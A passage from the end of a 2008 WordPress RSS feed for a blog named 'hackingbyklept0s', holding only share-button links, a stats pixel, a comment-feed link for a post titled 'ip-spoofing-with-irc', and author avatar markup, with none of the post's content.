src="http://feeds.wordpress.com/1.0/digg/hackingbyklept0s.wordpress.com/13/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackingbyklept0s.wordpress.com/13/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackingbyklept0s.wordpress.com/13/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackingbyklept0s.wordpress.com&amp;blog=2859484&amp;post=13&amp;subd=hackingbyklept0s&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackingbyklept0s.wordpress.com/2008/02/13/ip-spoofing-with-irc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/bb3ea6a99b7ad38a8988badafed423e5?s=96&#38;d=identicon" medium="image">
			<media:title type="html">klept0s</media:title>
		</media:content>
	</item>
	</channel>
</rss>
